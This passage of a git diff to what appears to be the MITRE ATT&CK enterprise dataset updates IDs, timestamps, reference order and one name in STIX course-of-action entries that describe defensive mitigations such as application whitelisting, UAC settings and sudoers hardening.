<code>\"ConsentPromptBehaviorUser\"=dword:00000000</code> (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: <code>\"EnableInstallerDetection\"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>\"EnableInstallerDetection\"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
diff --git a/enterprise-attack/course-of-action/course-of-action--10571bf2-8073-4edf-a71c-23bad225532e.json b/enterprise-attack/course-of-action/course-of-action--10571bf2-8073-4edf-a71c-23bad225532e.json
index b238e3e368..e3865f079d 100644
--- a/enterprise-attack/course-of-action/course-of-action--10571bf2-8073-4edf-a71c-23bad225532e.json
+++ b/enterprise-attack/course-of-action/course-of-action--10571bf2-8073-4edf-a71c-23bad225532e.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--89855816-5f28-41d6-9893-4ce917b656c6",
+    "id": "bundle--e6de5ddc-2cee-40a7-99a4-fdb2588254c9",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--10571bf2-8073-4edf-a71c-23bad225532e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "AppInit DLLs Mitigation",
             "description": "Upgrade to Windows 8 or later and enable secure boot.\n\nIdentify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--121b2863-5b97-4538-acb3-f8aae070ec13.json b/enterprise-attack/course-of-action/course-of-action--121b2863-5b97-4538-acb3-f8aae070ec13.json
index e0ce5b08fe..8396e69b60 100644
--- a/enterprise-attack/course-of-action/course-of-action--121b2863-5b97-4538-acb3-f8aae070ec13.json
+++ b/enterprise-attack/course-of-action/course-of-action--121b2863-5b97-4538-acb3-f8aae070ec13.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--c1fcb121-d903-47d8-be05-11ae43b41e77",
+    "id": "bundle--0648ca57-75f5-4574-b67b-ced904695bbb",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--121b2863-5b97-4538-acb3-f8aae070ec13",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Launch Agent Mitigation",
             "description": "Restrict user's abilities to create Launch Agents with group policy.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--12c13879-b7bd-4bc5-8def-aacec386d432.json b/enterprise-attack/course-of-action/course-of-action--12c13879-b7bd-4bc5-8def-aacec386d432.json
index 4174e81797..94f4c6baf1 100644
--- a/enterprise-attack/course-of-action/course-of-action--12c13879-b7bd-4bc5-8def-aacec386d432.json
+++ b/enterprise-attack/course-of-action/course-of-action--12c13879-b7bd-4bc5-8def-aacec386d432.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--f0db5728-3a72-4c72-8582-e3dd336ee4d4",
+    "id": "bundle--23d93e90-b142-4ddf-b8c6-1c372184c471",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--12c13879-b7bd-4bc5-8def-aacec386d432",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Regsvr32 Mitigation",
             "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--12cba7de-0a22-4a56-b51e-c514c67c3b43.json b/enterprise-attack/course-of-action/course-of-action--12cba7de-0a22-4a56-b51e-c514c67c3b43.json
index 95f5a9fb10..be2bc2312c 100644
--- a/enterprise-attack/course-of-action/course-of-action--12cba7de-0a22-4a56-b51e-c514c67c3b43.json
+++ b/enterprise-attack/course-of-action/course-of-action--12cba7de-0a22-4a56-b51e-c514c67c3b43.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--aca8aee1-6993-41c7-b7cb-331e69042d28",
+    "id": "bundle--ba8b9ef2-4b02-4e96-ab62-11b5f41f4d83",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--12cba7de-0a22-4a56-b51e-c514c67c3b43",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hidden Users Mitigation",
             "description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the <code>/Library/Preferences/com.apple.loginwindow</code> <code>Hide500Users</code> value will force all users to be visible.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--160af6af-e733-4b6a-a04a-71c620ac0930.json b/enterprise-attack/course-of-action/course-of-action--160af6af-e733-4b6a-a04a-71c620ac0930.json
index 27103f945c..bf3e1f03c1 100644
--- a/enterprise-attack/course-of-action/course-of-action--160af6af-e733-4b6a-a04a-71c620ac0930.json
+++ b/enterprise-attack/course-of-action/course-of-action--160af6af-e733-4b6a-a04a-71c620ac0930.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--20f5f815-2eb1-41ac-a0e6-8c18db086ccb",
+    "id": "bundle--cfc812aa-d382-4a77-b4cb-4d8affff9408",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--160af6af-e733-4b6a-a04a-71c620ac0930",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Third-party Software Mitigation",
             "description": "Evaluate the security of third-party software that could be used to deploy or execute programs. Ensure that access to management systems for deployment systems is limited, monitored, and secure. Have a strict approval policy for use of deployment systems.\n\nGrant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation of Vulnerability. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--16a8ac85-a06f-460f-ad22-910167bd7332.json b/enterprise-attack/course-of-action/course-of-action--16a8ac85-a06f-460f-ad22-910167bd7332.json
index ff22e98d0c..cd93687010 100644
--- a/enterprise-attack/course-of-action/course-of-action--16a8ac85-a06f-460f-ad22-910167bd7332.json
+++ b/enterprise-attack/course-of-action/course-of-action--16a8ac85-a06f-460f-ad22-910167bd7332.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--7280d382-2bc7-4962-90ea-d4bf51a4cf13",
+    "id": "bundle--28cba838-2a24-4f9d-8b37-989bfbe7553b",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--16a8ac85-a06f-460f-ad22-910167bd7332",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Binary Padding Mitigation",
             "description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d.json b/enterprise-attack/course-of-action/course-of-action--16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d.json
index 33106ed8aa..173888e7d6 100644
--- a/enterprise-attack/course-of-action/course-of-action--16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d.json
+++ b/enterprise-attack/course-of-action/course-of-action--16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--fde69ce0-9769-4f8a-a660-e706c0acff32",
+    "id": "bundle--ec383538-6287-4445-bd3e-bdc82a5a150c",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Audio Capture Mitigation",
             "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -23,24 +23,24 @@
                     "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                 },
                 {
-                    "source_name": "Windows Commands JPCERT",
-                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
-                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
+                    "source_name": "Corio 2008",
+                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
+                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                 },
                 {
                     "source_name": "NSA MS AppLocker",
                     "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                     "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                 },
-                {
-                    "source_name": "Corio 2008",
-                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
-                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
-                },
                 {
                     "source_name": "TechNet Applocker vs SRP",
                     "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                     "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
+                },
+                {
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                 }
             ]
         }
diff --git a/enterprise-attack/course-of-action/course-of-action--16f144e4-c780-4ed2-98b4-55d14e2dfa44.json b/enterprise-attack/course-of-action/course-of-action--16f144e4-c780-4ed2-98b4-55d14e2dfa44.json
index 97c38a26b2..1c0ba7f16a 100644
--- a/enterprise-attack/course-of-action/course-of-action--16f144e4-c780-4ed2-98b4-55d14e2dfa44.json
+++ b/enterprise-attack/course-of-action/course-of-action--16f144e4-c780-4ed2-98b4-55d14e2dfa44.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--5606c121-7b82-430e-8296-242963f22079",
+    "id": "bundle--ae83c2db-a0f9-4652-bc15-ed5eff678b15",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--16f144e4-c780-4ed2-98b4-55d14e2dfa44",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Owner/User Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--1881da33-fdf2-4eea-afd0-e04caf9c000f.json b/enterprise-attack/course-of-action/course-of-action--1881da33-fdf2-4eea-afd0-e04caf9c000f.json
index 93ab2cc7df..e5124cff80 100644
--- a/enterprise-attack/course-of-action/course-of-action--1881da33-fdf2-4eea-afd0-e04caf9c000f.json
+++ b/enterprise-attack/course-of-action/course-of-action--1881da33-fdf2-4eea-afd0-e04caf9c000f.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--314d2827-7ee7-4cae-96e4-1fd77225da49",
+    "id": "bundle--f5645c37-85ce-4afd-a768-9eae26122d81",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--1881da33-fdf2-4eea-afd0-e04caf9c000f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Peripheral Device Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--19edfa02-1a5f-47e4-ad82-3288f57f64cf.json b/enterprise-attack/course-of-action/course-of-action--19edfa02-1a5f-47e4-ad82-3288f57f64cf.json
index ecba2b0278..78963c810a 100644
--- a/enterprise-attack/course-of-action/course-of-action--19edfa02-1a5f-47e4-ad82-3288f57f64cf.json
+++ b/enterprise-attack/course-of-action/course-of-action--19edfa02-1a5f-47e4-ad82-3288f57f64cf.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--79ce0c15-9940-4d70-93b5-f0eb1b90fdb9",
+    "id": "bundle--7a985f6f-411b-4290-8ff8-5e4ef8530671",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--19edfa02-1a5f-47e4-ad82-3288f57f64cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Clipboard Data Mitigation",
             "description": "Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158.json b/enterprise-attack/course-of-action/course-of-action--1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158.json
index 7386b1dc02..bdbc20b4a4 100644
--- a/enterprise-attack/course-of-action/course-of-action--1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158.json
+++ b/enterprise-attack/course-of-action/course-of-action--1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--21a97160-b7d6-49bc-8b58-f9bddeb74693",
+    "id": "bundle--099112dd-77f3-4493-9c89-ed2a8bb32219",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Gatekeeper Bypass Mitigation",
             "description": "Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--1c0711c8-2a73-48a1-893d-ff88bcd23824.json b/enterprise-attack/course-of-action/course-of-action--1c0711c8-2a73-48a1-893d-ff88bcd23824.json
index 76ddd94706..7251b2f06e 100644
--- a/enterprise-attack/course-of-action/course-of-action--1c0711c8-2a73-48a1-893d-ff88bcd23824.json
+++ b/enterprise-attack/course-of-action/course-of-action--1c0711c8-2a73-48a1-893d-ff88bcd23824.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--8d70e362-017a-48eb-ac7e-fcd06ae3ab30",
+    "id": "bundle--85fa5cae-5f2f-4b3b-8548-9febbf690565",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--1c0711c8-2a73-48a1-893d-ff88bcd23824",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Scheduled Transfer Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--1c6bc7f3-d517-4971-aed4-8f939090846b.json b/enterprise-attack/course-of-action/course-of-action--1c6bc7f3-d517-4971-aed4-8f939090846b.json
index 0e9f9d1ed0..f7aded7c55 100644
--- a/enterprise-attack/course-of-action/course-of-action--1c6bc7f3-d517-4971-aed4-8f939090846b.json
+++ b/enterprise-attack/course-of-action/course-of-action--1c6bc7f3-d517-4971-aed4-8f939090846b.json
@@ -1,15 +1,15 @@
 {
     "type": "bundle",
-    "id": "bundle--ec72ba20-a069-448a-8c8c-f3cb71b8deb4",
+    "id": "bundle--e2b1b400-0948-468f-8035-506b62ffcfa7",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--1c6bc7f3-d517-4971-aed4-8f939090846b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
-            "name": "Local Port Monitor Mitigation",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Port Monitors Mitigation",
             "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.",
             "external_references": [
                 {
diff --git a/enterprise-attack/course-of-action/course-of-action--1e4ef2c7-ee96-4484-9baa-3b5777561301.json b/enterprise-attack/course-of-action/course-of-action--1e4ef2c7-ee96-4484-9baa-3b5777561301.json
index 04de2f5e51..741e9f084d 100644
--- a/enterprise-attack/course-of-action/course-of-action--1e4ef2c7-ee96-4484-9baa-3b5777561301.json
+++ b/enterprise-attack/course-of-action/course-of-action--1e4ef2c7-ee96-4484-9baa-3b5777561301.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--4645b53d-702e-4352-8e6d-1e4859af016d",
+    "id": "bundle--2d789e44-0371-4911-b84c-f4948ea0ec5b",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--1e4ef2c7-ee96-4484-9baa-3b5777561301",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "AppleScript Mitigation",
             "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--1f34230d-b6ae-4dc7-8599-78c18820bd21.json b/enterprise-attack/course-of-action/course-of-action--1f34230d-b6ae-4dc7-8599-78c18820bd21.json
index 92c08d4f71..5755900644 100644
--- a/enterprise-attack/course-of-action/course-of-action--1f34230d-b6ae-4dc7-8599-78c18820bd21.json
+++ b/enterprise-attack/course-of-action/course-of-action--1f34230d-b6ae-4dc7-8599-78c18820bd21.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--29023937-1e2d-4df4-b59d-57be914c2650",
+    "id": "bundle--3298117e-f875-460b-937e-e9671d6019ce",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--1f34230d-b6ae-4dc7-8599-78c18820bd21",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Share Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--23061b40-a7b6-454f-8950-95d5ff80331c.json b/enterprise-attack/course-of-action/course-of-action--23061b40-a7b6-454f-8950-95d5ff80331c.json
index 6e35425bb5..eb09d800e1 100644
--- a/enterprise-attack/course-of-action/course-of-action--23061b40-a7b6-454f-8950-95d5ff80331c.json
+++ b/enterprise-attack/course-of-action/course-of-action--23061b40-a7b6-454f-8950-95d5ff80331c.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--ba765878-aba7-4784-af30-822b23f615db",
+    "id": "bundle--34a6fc8e-7f1d-4395-a042-a91b063d8069",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--23061b40-a7b6-454f-8950-95d5ff80331c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Install Root Certificate Mitigation",
             "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--23bff3ce-021c-4e7a-9aee-60fd40bc7c6c.json b/enterprise-attack/course-of-action/course-of-action--23bff3ce-021c-4e7a-9aee-60fd40bc7c6c.json
index d32420db4f..b9e493b6a7 100644
--- a/enterprise-attack/course-of-action/course-of-action--23bff3ce-021c-4e7a-9aee-60fd40bc7c6c.json
+++ b/enterprise-attack/course-of-action/course-of-action--23bff3ce-021c-4e7a-9aee-60fd40bc7c6c.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--774c7a93-d8fe-424e-9d36-23fd7f7b0578",
+    "id": "bundle--46bd233a-078f-474e-8f9d-cff7a48208cb",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--23bff3ce-021c-4e7a-9aee-60fd40bc7c6c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Sudo Mitigation",
             "description": "The sudoers file should be strictly edited such that passwords are always required and that users can\u2019t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--24478001-2eb3-4b06-a02e-96b3d61d27ec.json b/enterprise-attack/course-of-action/course-of-action--24478001-2eb3-4b06-a02e-96b3d61d27ec.json
index 870b83ab9b..d8c5229c2a 100644
--- a/enterprise-attack/course-of-action/course-of-action--24478001-2eb3-4b06-a02e-96b3d61d27ec.json
+++ b/enterprise-attack/course-of-action/course-of-action--24478001-2eb3-4b06-a02e-96b3d61d27ec.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--9cb1b452-e669-4d0d-91cd-e7af88dfeb90",
+    "id": "bundle--abba1d09-0bdf-4d32-be4d-bb512eb6486f",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--24478001-2eb3-4b06-a02e-96b3d61d27ec",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Multilayer Encryption Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--2497ac92-e751-4391-82c6-1b86e34d0294.json b/enterprise-attack/course-of-action/course-of-action--2497ac92-e751-4391-82c6-1b86e34d0294.json
index 139b67d18b..e56794aad8 100644
--- a/enterprise-attack/course-of-action/course-of-action--2497ac92-e751-4391-82c6-1b86e34d0294.json
+++ b/enterprise-attack/course-of-action/course-of-action--2497ac92-e751-4391-82c6-1b86e34d0294.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--9485afc5-b835-456e-89bf-61130dcdf653",
+    "id": "bundle--92c2e065-dffe-4a0e-9d3a-6830af3a3dbe",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--2497ac92-e751-4391-82c6-1b86e34d0294",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Automated Exfiltration Mitigation",
             "description": "Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--25d5e1d8-c6fb-4735-bc57-115a21222f4b.json b/enterprise-attack/course-of-action/course-of-action--25d5e1d8-c6fb-4735-bc57-115a21222f4b.json
index ce50852448..898a68cf27 100644
--- a/enterprise-attack/course-of-action/course-of-action--25d5e1d8-c6fb-4735-bc57-115a21222f4b.json
+++ b/enterprise-attack/course-of-action/course-of-action--25d5e1d8-c6fb-4735-bc57-115a21222f4b.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
